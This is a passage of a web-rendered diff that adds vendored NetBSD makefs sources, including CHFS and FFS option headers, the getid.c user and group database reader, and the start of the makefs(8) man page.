if (!chfs_populate_dir(path, cur->child, cur, fsopts)) {
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
return 1;
|
||||
}
|
||||
|
||||
48
thirdparty/makefs/chfs_makefs.h
vendored
Normal file
48
thirdparty/makefs/chfs_makefs.h
vendored
Normal file
@@ -0,0 +1,48 @@
|
||||
/*-
|
||||
* Copyright (c) 2012 Department of Software Engineering,
|
||||
* University of Szeged, Hungary
|
||||
* Copyright (c) 2012 Tamas Toth <ttoth@inf.u-szeged.hu>
|
||||
* All rights reserved.
|
||||
*
|
||||
* This code is derived from software contributed to The NetBSD Foundation
|
||||
* by the Department of Software Engineering, University of Szeged, Hungary
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
|
||||
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
|
||||
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
|
||||
* IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
|
||||
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
|
||||
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
|
||||
* AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
|
||||
* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#ifndef _CHFS_MAKEFS_H
|
||||
#define _CHFS_MAKEFS_H
|
||||
|
||||
#define TYPE_NOR 0
|
||||
#define TYPE_NAND 1
|
||||
|
||||
#define DEFAULT_PAGESIZE 2048
|
||||
#define DEFAULT_ERASEBLOCK 131072
|
||||
#define DEFAULT_MEDIATYPE TYPE_NAND
|
||||
|
||||
typedef struct {
|
||||
int pagesize; /* page size */
|
||||
int eraseblock; /* eraseblock size */
|
||||
int mediatype; /* type of the media, 0 (nor) or 1 (nand) */
|
||||
} chfs_opt_t;
|
||||
|
||||
#endif
|
||||
93
thirdparty/makefs/extern.h
vendored
Normal file
93
thirdparty/makefs/extern.h
vendored
Normal file
@@ -0,0 +1,93 @@
|
||||
/* $NetBSD: extern.h,v 1.5 2011/07/27 15:31:00 seb Exp $ */
|
||||
|
||||
/*-
|
||||
* Copyright (c) 1991, 1993
|
||||
* The Regents of the University of California. All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* 3. Neither the name of the University nor the names of its contributors
|
||||
* may be used to endorse or promote products derived from this software
|
||||
* without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*
|
||||
* @(#)extern.h 8.1 (Berkeley) 6/6/93
|
||||
*/
|
||||
|
||||
#if HAVE_CONFIG_H
|
||||
#include "config.h"
|
||||
#endif
|
||||
#include "mtree.h"
|
||||
|
||||
#if 0
|
||||
#if HAVE_NBTOOL_CONFIG_H
|
||||
#include "nbtool_config.h"
|
||||
#else
|
||||
#define HAVE_STRUCT_STAT_ST_FLAGS 1
|
||||
#endif
|
||||
#endif
|
||||
|
||||
// #include <nbcompat.h>
|
||||
#if HAVE_ERR_H
|
||||
#include <err.h>
|
||||
#endif
|
||||
#if HAVE_FTS_H
|
||||
#include <fts.h>
|
||||
#endif
|
||||
|
||||
#if HAVE_NETDB_H
|
||||
/* For MAXHOSTNAMELEN on some platforms. */
|
||||
#if HAVE_NETDB_H
|
||||
#include <netdb.h>
|
||||
#endif
|
||||
#endif
|
||||
|
||||
#ifndef MAXHOSTNAMELEN
|
||||
#define MAXHOSTNAMELEN 256
|
||||
#endif
|
||||
|
||||
void addtag(slist_t *, char *);
|
||||
int check_excludes(const char *, const char *);
|
||||
int compare(NODE *, FTSENT *);
|
||||
int crc(int, uint32_t *, uint32_t *);
|
||||
void cwalk(void);
|
||||
void dump_nodes(const char *, NODE *, int);
|
||||
void init_excludes(void);
|
||||
int matchtags(NODE *);
|
||||
void mtree_err(const char *, ...)
|
||||
__attribute__((__format__(__printf__, 1, 2)));
|
||||
const char *nodetype(u_int);
|
||||
u_int parsekey(const char *, int *);
|
||||
void parsetags(slist_t *, char *);
|
||||
u_int parsetype(const char *);
|
||||
void read_excludes_file(const char *);
|
||||
const char *rlink(const char *);
|
||||
int verify(void);
|
||||
|
||||
extern int dflag, eflag, iflag, lflag, mflag, rflag, sflag, tflag, uflag;
|
||||
extern int mtree_Mflag, mtree_Wflag;
|
||||
extern size_t mtree_lineno;
|
||||
extern uint32_t crc_total;
|
||||
extern int ftsoptions, keys;
|
||||
extern char fullpath[];
|
||||
extern slist_t includetags, excludetags;
|
||||
|
||||
|
||||
#include "stat_flags.h"
|
||||
1155
thirdparty/makefs/ffs.c
vendored
Normal file
1155
thirdparty/makefs/ffs.c
vendored
Normal file
File diff suppressed because it is too large
Load Diff
68
thirdparty/makefs/ffs.h
vendored
Normal file
68
thirdparty/makefs/ffs.h
vendored
Normal file
@@ -0,0 +1,68 @@
|
||||
/* $NetBSD: ffs.h,v 1.2 2011/10/09 21:33:43 christos Exp $ */
|
||||
|
||||
/*
|
||||
* Copyright (c) 2001-2003 Wasabi Systems, Inc.
|
||||
* All rights reserved.
|
||||
*
|
||||
* Written by Luke Mewburn for Wasabi Systems, Inc.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* 3. All advertising materials mentioning features or use of this software
|
||||
* must display the following acknowledgement:
|
||||
* This product includes software developed for the NetBSD Project by
|
||||
* Wasabi Systems, Inc.
|
||||
* 4. The name of Wasabi Systems, Inc. may not be used to endorse
|
||||
* or promote products derived from this software without specific prior
|
||||
* written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY WASABI SYSTEMS, INC. ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
|
||||
* TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
|
||||
* PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL WASABI SYSTEMS, INC
|
||||
* BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
|
||||
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
|
||||
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
|
||||
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
|
||||
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
* POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#ifndef _FFS_H
|
||||
#define _FFS_H
|
||||
|
||||
#include <ufs/ufs/dinode.h>
|
||||
#include <ufs/ffs/fs.h>
|
||||
|
||||
typedef struct {
|
||||
char label[MAXVOLLEN]; /* volume name/label */
|
||||
int bsize; /* block size */
|
||||
int fsize; /* fragment size */
|
||||
int cpg; /* cylinders per group */
|
||||
int cpgflg; /* cpg was specified by user */
|
||||
int density; /* bytes per inode */
|
||||
int ntracks; /* number of tracks */
|
||||
int nsectors; /* number of sectors */
|
||||
int rpm; /* rpm */
|
||||
int minfree; /* free space threshold */
|
||||
int optimization; /* optimization (space or time) */
|
||||
int maxcontig; /* max contiguous blocks to allocate */
|
||||
int rotdelay; /* rotational delay between blocks */
|
||||
int maxbpg; /* maximum blocks per file in a cyl group */
|
||||
int nrpos; /* # of distinguished rotational positions */
|
||||
int avgfilesize; /* expected average file size */
|
||||
int avgfpdir; /* expected # of files per directory */
|
||||
int version; /* filesystem version (1 = FFS, 2 = UFS2) */
|
||||
int maxbsize; /* maximum extent size */
|
||||
int maxblkspercg; /* max # of blocks per cylinder group */
|
||||
/* XXX: support `old' file systems ? */
|
||||
} ffs_opt_t;
|
||||
|
||||
#endif /* _FFS_H */
|
||||
457
thirdparty/makefs/getid.c
vendored
Normal file
457
thirdparty/makefs/getid.c
vendored
Normal file
@@ -0,0 +1,457 @@
|
||||
/* $NetBSD: getid.c,v 1.4 2008/11/06 02:14:52 jschauma Exp $ */
|
||||
/* from: NetBSD: getpwent.c,v 1.48 2000/10/03 03:22:26 enami Exp */
|
||||
/* from: NetBSD: getgrent.c,v 1.41 2002/01/12 23:51:30 lukem Exp */
|
||||
|
||||
/*
|
||||
* Copyright (c) 1987, 1988, 1989, 1993, 1994, 1995
|
||||
* The Regents of the University of California. All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* 3. Neither the name of the University nor the names of its contributors
|
||||
* may be used to endorse or promote products derived from this software
|
||||
* without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
/*-
|
||||
* Copyright (c) 2002 The NetBSD Foundation, Inc.
|
||||
* All rights reserved.
|
||||
*
|
||||
* This code is derived from software contributed to The NetBSD Foundation
|
||||
* by Luke Mewburn of Wasabi Systems.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* 3. All advertising materials mentioning features or use of this software
|
||||
* must display the following acknowledgement:
|
||||
* This product includes software developed by the NetBSD
|
||||
* Foundation, Inc. and its contributors.
|
||||
* 4. Neither the name of The NetBSD Foundation nor the names of its
|
||||
* contributors may be used to endorse or promote products derived
|
||||
* from this software without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE NETBSD FOUNDATION, INC. AND CONTRIBUTORS
|
||||
* ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
|
||||
* TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
|
||||
* PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE FOUNDATION OR CONTRIBUTORS
|
||||
* BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
|
||||
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
|
||||
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
|
||||
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
|
||||
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
* POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#if HAVE_CONFIG_H
|
||||
#include "config.h"
|
||||
#endif
|
||||
#if HAVE_NBTOOL_CONFIG_H
|
||||
#include "nbtool_config.h"
|
||||
#endif
|
||||
|
||||
#include <nbcompat.h>
|
||||
#if HAVE_SYS_PARAM_H
|
||||
#include <sys/param.h>
|
||||
#endif
|
||||
|
||||
#if HAVE_GRP_H
|
||||
#include <grp.h>
|
||||
#endif
|
||||
#if HAVE_LIMITS_H
|
||||
#include <limits.h>
|
||||
#endif
|
||||
#if HAVE_PWD_H
|
||||
#include <pwd.h>
|
||||
#endif
|
||||
#if HAVE_STDLIB_H
|
||||
#include <stdlib.h>
|
||||
#endif
|
||||
#if HAVE_STDIO_H
|
||||
#include <stdio.h>
|
||||
#endif
|
||||
#if HAVE_STRING_H
|
||||
#include <string.h>
|
||||
#endif
|
||||
#if HAVE_TIME_H
|
||||
#include <time.h>
|
||||
#endif
|
||||
#if HAVE_UNISTD_H
|
||||
#include <unistd.h>
|
||||
#endif
|
||||
|
||||
#include "extern.h"
|
||||
|
||||
static struct group * gi_getgrnam(const char *);
|
||||
static struct group * gi_getgrgid(gid_t);
|
||||
static int gi_setgroupent(int);
|
||||
static void gi_endgrent(void);
|
||||
static int grstart(void);
|
||||
static int grscan(int, gid_t, const char *);
|
||||
static int grmatchline(int, gid_t, const char *);
|
||||
|
||||
static struct passwd * gi_getpwnam(const char *);
|
||||
static struct passwd * gi_getpwuid(uid_t);
|
||||
static int gi_setpassent(int);
|
||||
static void gi_endpwent(void);
|
||||
static int pwstart(void);
|
||||
static int pwscan(int, uid_t, const char *);
|
||||
static int pwmatchline(int, uid_t, const char *);
|
||||
|
||||
#define MAXGRP 200
|
||||
#define MAXLINELENGTH 1024
|
||||
|
||||
static FILE *_gr_fp;
|
||||
static struct group _gr_group;
|
||||
static int _gr_stayopen;
|
||||
static int _gr_filesdone;
|
||||
static FILE *_pw_fp;
|
||||
static struct passwd _pw_passwd; /* password structure */
|
||||
static int _pw_stayopen; /* keep fd's open */
|
||||
static int _pw_filesdone;
|
||||
|
||||
static char grfile[MAXPATHLEN];
|
||||
static char pwfile[MAXPATHLEN];
|
||||
|
||||
static char *members[MAXGRP];
|
||||
static char grline[MAXLINELENGTH];
|
||||
static char pwline[MAXLINELENGTH];
|
||||
|
||||
int
|
||||
setup_getid(const char *dir)
|
||||
{
|
||||
if (dir == NULL)
|
||||
return (0);
|
||||
|
||||
/* close existing databases */
|
||||
gi_endgrent();
|
||||
gi_endpwent();
|
||||
|
||||
/* build paths to new databases */
|
||||
snprintf(grfile, sizeof(grfile), "%s/group", dir);
|
||||
snprintf(pwfile, sizeof(pwfile), "%s/master.passwd", dir);
|
||||
|
||||
/* try to open new databases */
|
||||
if (!grstart() || !pwstart())
|
||||
return (0);
|
||||
|
||||
/* switch pwcache(3) lookup functions */
|
||||
if (pwcache_groupdb(gi_setgroupent, gi_endgrent,
|
||||
gi_getgrnam, gi_getgrgid) == -1
|
||||
|| pwcache_userdb(gi_setpassent, gi_endpwent,
|
||||
gi_getpwnam, gi_getpwuid) == -1)
|
||||
return (0);
|
||||
|
||||
return (1);
|
||||
}
|
||||
|
||||
|
||||
/*
|
||||
* group lookup functions
|
||||
*/
|
||||
|
||||
static struct group *
|
||||
gi_getgrnam(const char *name)
|
||||
{
|
||||
int rval;
|
||||
|
||||
if (!grstart())
|
||||
return NULL;
|
||||
rval = grscan(1, 0, name);
|
||||
if (!_gr_stayopen)
|
||||
endgrent();
|
||||
return (rval) ? &_gr_group : NULL;
|
||||
}
|
||||
|
||||
static struct group *
|
||||
gi_getgrgid(gid_t gid)
|
||||
{
|
||||
int rval;
|
||||
|
||||
if (!grstart())
|
||||
return NULL;
|
||||
rval = grscan(1, gid, NULL);
|
||||
if (!_gr_stayopen)
|
||||
endgrent();
|
||||
return (rval) ? &_gr_group : NULL;
|
||||
}
|
||||
|
||||
static int
|
||||
gi_setgroupent(int stayopen)
|
||||
{
|
||||
|
||||
if (!grstart())
|
||||
return 0;
|
||||
_gr_stayopen = stayopen;
|
||||
return 1;
|
||||
}
|
||||
|
||||
static void
|
||||
gi_endgrent(void)
|
||||
{
|
||||
|
||||
_gr_filesdone = 0;
|
||||
if (_gr_fp) {
|
||||
(void)fclose(_gr_fp);
|
||||
_gr_fp = NULL;
|
||||
}
|
||||
}
|
||||
|
||||
static int
|
||||
grstart(void)
|
||||
{
|
||||
|
||||
_gr_filesdone = 0;
|
||||
if (_gr_fp) {
|
||||
rewind(_gr_fp);
|
||||
return 1;
|
||||
}
|
||||
if (grfile[0] == '\0') /* sanity check */
|
||||
return 0;
|
||||
return (_gr_fp = fopen(grfile, "r")) ? 1 : 0;
|
||||
}
|
||||
|
||||
|
||||
static int
|
||||
grscan(int search, gid_t gid, const char *name)
|
||||
{
|
||||
|
||||
if (_gr_filesdone)
|
||||
return 0;
|
||||
for (;;) {
|
||||
if (!fgets(grline, sizeof(grline), _gr_fp)) {
|
||||
if (!search)
|
||||
_gr_filesdone = 1;
|
||||
return 0;
|
||||
}
|
||||
/* skip lines that are too big */
|
||||
if (!strchr(grline, '\n')) {
|
||||
int ch;
|
||||
|
||||
while ((ch = getc(_gr_fp)) != '\n' && ch != EOF)
|
||||
;
|
||||
continue;
|
||||
}
|
||||
if (grmatchline(search, gid, name))
|
||||
return 1;
|
||||
}
|
||||
/* NOTREACHED */
|
||||
}
|
||||
|
||||
static int
|
||||
grmatchline(int search, gid_t gid, const char *name)
|
||||
{
|
||||
unsigned long id;
|
||||
char **m;
|
||||
char *cp, *bp, *ep;
|
||||
|
||||
/* name may be NULL if search is nonzero */
|
||||
|
||||
bp = grline;
|
||||
memset(&_gr_group, 0, sizeof(_gr_group));
|
||||
_gr_group.gr_name = strsep(&bp, ":\n");
|
||||
if (search && name && strcmp(_gr_group.gr_name, name))
|
||||
return 0;
|
||||
_gr_group.gr_passwd = strsep(&bp, ":\n");
|
||||
if (!(cp = strsep(&bp, ":\n")))
|
||||
return 0;
|
||||
id = strtoul(cp, &ep, 10);
|
||||
if (id > GID_MAX || *ep != '\0')
|
||||
return 0;
|
||||
_gr_group.gr_gid = (gid_t)id;
|
||||
if (search && name == NULL && _gr_group.gr_gid != gid)
|
||||
return 0;
|
||||
cp = NULL;
|
||||
if (bp == NULL)
|
||||
return 0;
|
||||
for (_gr_group.gr_mem = m = members;; bp++) {
|
||||
if (m == &members[MAXGRP - 1])
|
||||
break;
|
||||
if (*bp == ',') {
|
||||
if (cp) {
|
||||
*bp = '\0';
|
||||
*m++ = cp;
|
||||
cp = NULL;
|
||||
}
|
||||
} else if (*bp == '\0' || *bp == '\n' || *bp == ' ') {
|
||||
if (cp) {
|
||||
*bp = '\0';
|
||||
*m++ = cp;
|
||||
}
|
||||
break;
|
||||
} else if (cp == NULL)
|
||||
cp = bp;
|
||||
}
|
||||
*m = NULL;
|
||||
return 1;
|
||||
}
|
||||
|
||||
|
||||
/*
|
||||
* user lookup functions
|
||||
*/
|
||||
|
||||
static struct passwd *
|
||||
gi_getpwnam(const char *name)
|
||||
{
|
||||
int rval;
|
||||
|
||||
if (!pwstart())
|
||||
return NULL;
|
||||
rval = pwscan(1, 0, name);
|
||||
if (!_pw_stayopen)
|
||||
endpwent();
|
||||
return (rval) ? &_pw_passwd : NULL;
|
||||
}
|
||||
|
||||
static struct passwd *
|
||||
gi_getpwuid(uid_t uid)
|
||||
{
|
||||
int rval;
|
||||
|
||||
if (!pwstart())
|
||||
return NULL;
|
||||
rval = pwscan(1, uid, NULL);
|
||||
if (!_pw_stayopen)
|
||||
endpwent();
|
||||
return (rval) ? &_pw_passwd : NULL;
|
||||
}
|
||||
|
||||
static int
|
||||
gi_setpassent(int stayopen)
|
||||
{
|
||||
|
||||
if (!pwstart())
|
||||
return 0;
|
||||
_pw_stayopen = stayopen;
|
||||
return 1;
|
||||
}
|
||||
|
||||
static void
|
||||
gi_endpwent(void)
|
||||
{
|
||||
|
||||
_pw_filesdone = 0;
|
||||
if (_pw_fp) {
|
||||
(void)fclose(_pw_fp);
|
||||
_pw_fp = NULL;
|
||||
}
|
||||
}
|
||||
|
||||
static int
|
||||
pwstart(void)
|
||||
{
|
||||
|
||||
_pw_filesdone = 0;
|
||||
if (_pw_fp) {
|
||||
rewind(_pw_fp);
|
||||
return 1;
|
||||
}
|
||||
if (pwfile[0] == '\0') /* sanity check */
|
||||
return 0;
|
||||
return (_pw_fp = fopen(pwfile, "r")) ? 1 : 0;
|
||||
}
|
||||
|
||||
|
||||
static int
|
||||
pwscan(int search, uid_t uid, const char *name)
|
||||
{
|
||||
|
||||
if (_pw_filesdone)
|
||||
return 0;
|
||||
for (;;) {
|
||||
if (!fgets(pwline, sizeof(pwline), _pw_fp)) {
|
||||
if (!search)
|
||||
_pw_filesdone = 1;
|
||||
return 0;
|
||||
}
|
||||
/* skip lines that are too big */
|
||||
if (!strchr(pwline, '\n')) {
|
||||
int ch;
|
||||
|
||||
while ((ch = getc(_pw_fp)) != '\n' && ch != EOF)
|
||||
;
|
||||
continue;
|
||||
}
|
||||
if (pwmatchline(search, uid, name))
|
||||
return 1;
|
||||
}
|
||||
/* NOTREACHED */
|
||||
}
|
||||
|
||||
static int
|
||||
pwmatchline(int search, uid_t uid, const char *name)
|
||||
{
|
||||
unsigned long id;
|
||||
char *cp, *bp, *ep;
|
||||
|
||||
/* name may be NULL if search is nonzero */
|
||||
|
||||
bp = pwline;
|
||||
memset(&_pw_passwd, 0, sizeof(_pw_passwd));
|
||||
_pw_passwd.pw_name = strsep(&bp, ":\n"); /* name */
|
||||
if (search && name && strcmp(_pw_passwd.pw_name, name))
|
||||
return 0;
|
||||
|
||||
_pw_passwd.pw_passwd = strsep(&bp, ":\n"); /* passwd */
|
||||
|
||||
if (!(cp = strsep(&bp, ":\n"))) /* uid */
|
||||
return 0;
|
||||
id = strtoul(cp, &ep, 10);
|
||||
if (id > UID_MAX || *ep != '\0')
|
||||
return 0;
|
||||
_pw_passwd.pw_uid = (uid_t)id;
|
||||
if (search && name == NULL && _pw_passwd.pw_uid != uid)
|
||||
return 0;
|
||||
|
||||
if (!(cp = strsep(&bp, ":\n"))) /* gid */
|
||||
return 0;
|
||||
id = strtoul(cp, &ep, 10);
|
||||
if (id > GID_MAX || *ep != '\0')
|
||||
return 0;
|
||||
_pw_passwd.pw_gid = (gid_t)id;
|
||||
|
||||
if (!(ep = strsep(&bp, ":"))) /* class */
|
||||
return 0;
|
||||
if (!(ep = strsep(&bp, ":"))) /* change */
|
||||
return 0;
|
||||
if (!(ep = strsep(&bp, ":"))) /* expire */
|
||||
return 0;
|
||||
|
||||
if (!(_pw_passwd.pw_gecos = strsep(&bp, ":\n"))) /* gecos */
|
||||
return 0;
|
||||
if (!(_pw_passwd.pw_dir = strsep(&bp, ":\n"))) /* directory */
|
||||
return 0;
|
||||
if (!(_pw_passwd.pw_shell = strsep(&bp, ":\n"))) /* shell */
|
||||
return 0;
|
||||
|
||||
if (strchr(bp, ':') != NULL)
|
||||
return 0;
|
||||
|
||||
return 1;
|
||||
}
|
||||
|
||||
460
thirdparty/makefs/makefs.8
vendored
Normal file
460
thirdparty/makefs/makefs.8
vendored
Normal file
@@ -0,0 +1,460 @@
|
||||
.\" $NetBSD: makefs.8,v 1.53 2013/08/06 20:16:54 wiz Exp $
|
||||
.\"
|
||||
.\" Copyright (c) 2001-2003 Wasabi Systems, Inc.
|
||||
.\" All rights reserved.
|
||||
.\"
|
||||
.\" Written by Luke Mewburn for Wasabi Systems, Inc.
|
||||
.\"
|
||||
.\" Redistribution and use in source and binary forms, with or without
|
||||
.\" modification, are permitted provided that the following conditions
|
||||
.\" are met:
|
||||
.\" 1. Redistributions of source code must retain the above copyright
|
||||
.\" notice, this list of conditions and the following disclaimer.
|
||||
.\" 2. Redistributions in binary form must reproduce the above copyright
|
||||
.\" notice, this list of conditions and the following disclaimer in the
|
||||
.\" documentation and/or other materials provided with the distribution.
|
||||
.\" 3. All advertising materials mentioning features or use of this software
|
||||
.\" must display the following acknowledgement:
|
||||
.\" This product includes software developed for the NetBSD Project by
|
||||
.\" Wasabi Systems, Inc.
|
||||
.\" 4. The name of Wasabi Systems, Inc. may not be used to endorse
|
||||
.\" or promote products derived from this software without specific prior
|
||||
.\" written permission.
|
||||
.\"
|
||||
.\" THIS SOFTWARE IS PROVIDED BY WASABI SYSTEMS, INC. ``AS IS'' AND
|
||||
.\" ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
|
||||
.\" TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
|
||||
.\" PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL WASABI SYSTEMS, INC
|
||||
.\" BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
.\" CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
|
||||
.\" SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
|
||||
.\" INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
|
||||
.\" CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
|
||||
.\" ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
.\" POSSIBILITY OF SUCH DAMAGE.
|
||||
.\"
|
||||
.Dd August 6, 2013
|
||||
.Dt MAKEFS 8
|
||||
.Os
|
||||
.Sh NAME
|
||||
.Nm makefs
|
||||
.Nd create a file system image from a directory tree
|
||||
.Sh SYNOPSIS
|
||||
.Nm
|
||||
.Op Fl rxZ
|
||||
.Op Fl B Ar endian
|
||||
.Op Fl b Ar free-blocks
|
||||
.Op Fl d Ar debug-mask
|
||||
.Op Fl F Ar mtree-specfile
|
||||
.Op Fl f Ar free-files
|
||||
.Op Fl M Ar minimum-size
|
||||
.Op Fl m Ar maximum-size
|
||||
.Op Fl N Ar userdb-dir
|
||||
.Op Fl O Ar offset
|
||||
.Op Fl o Ar fs-options
|
||||
.Op Fl S Ar sector-size
|
||||
.Op Fl s Ar image-size
|
||||
.Op Fl t Ar fs-type
|
||||
.Ar image-file
|
||||
.Ar directory
|
||||
.Op Ar extra-directory ...
|
||||
.Sh DESCRIPTION
|
||||
The utility
|
||||
.Nm
|
||||
creates a file system image into
|
||||
.Ar image-file
|
||||
from the directory tree
|
||||
.Ar directory .
|
||||
If any optional directory trees are passed in the
|
||||
.Ar extra-directory
|
||||
arguments, then the directory tree of each argument will be merged
|
||||
into the
|
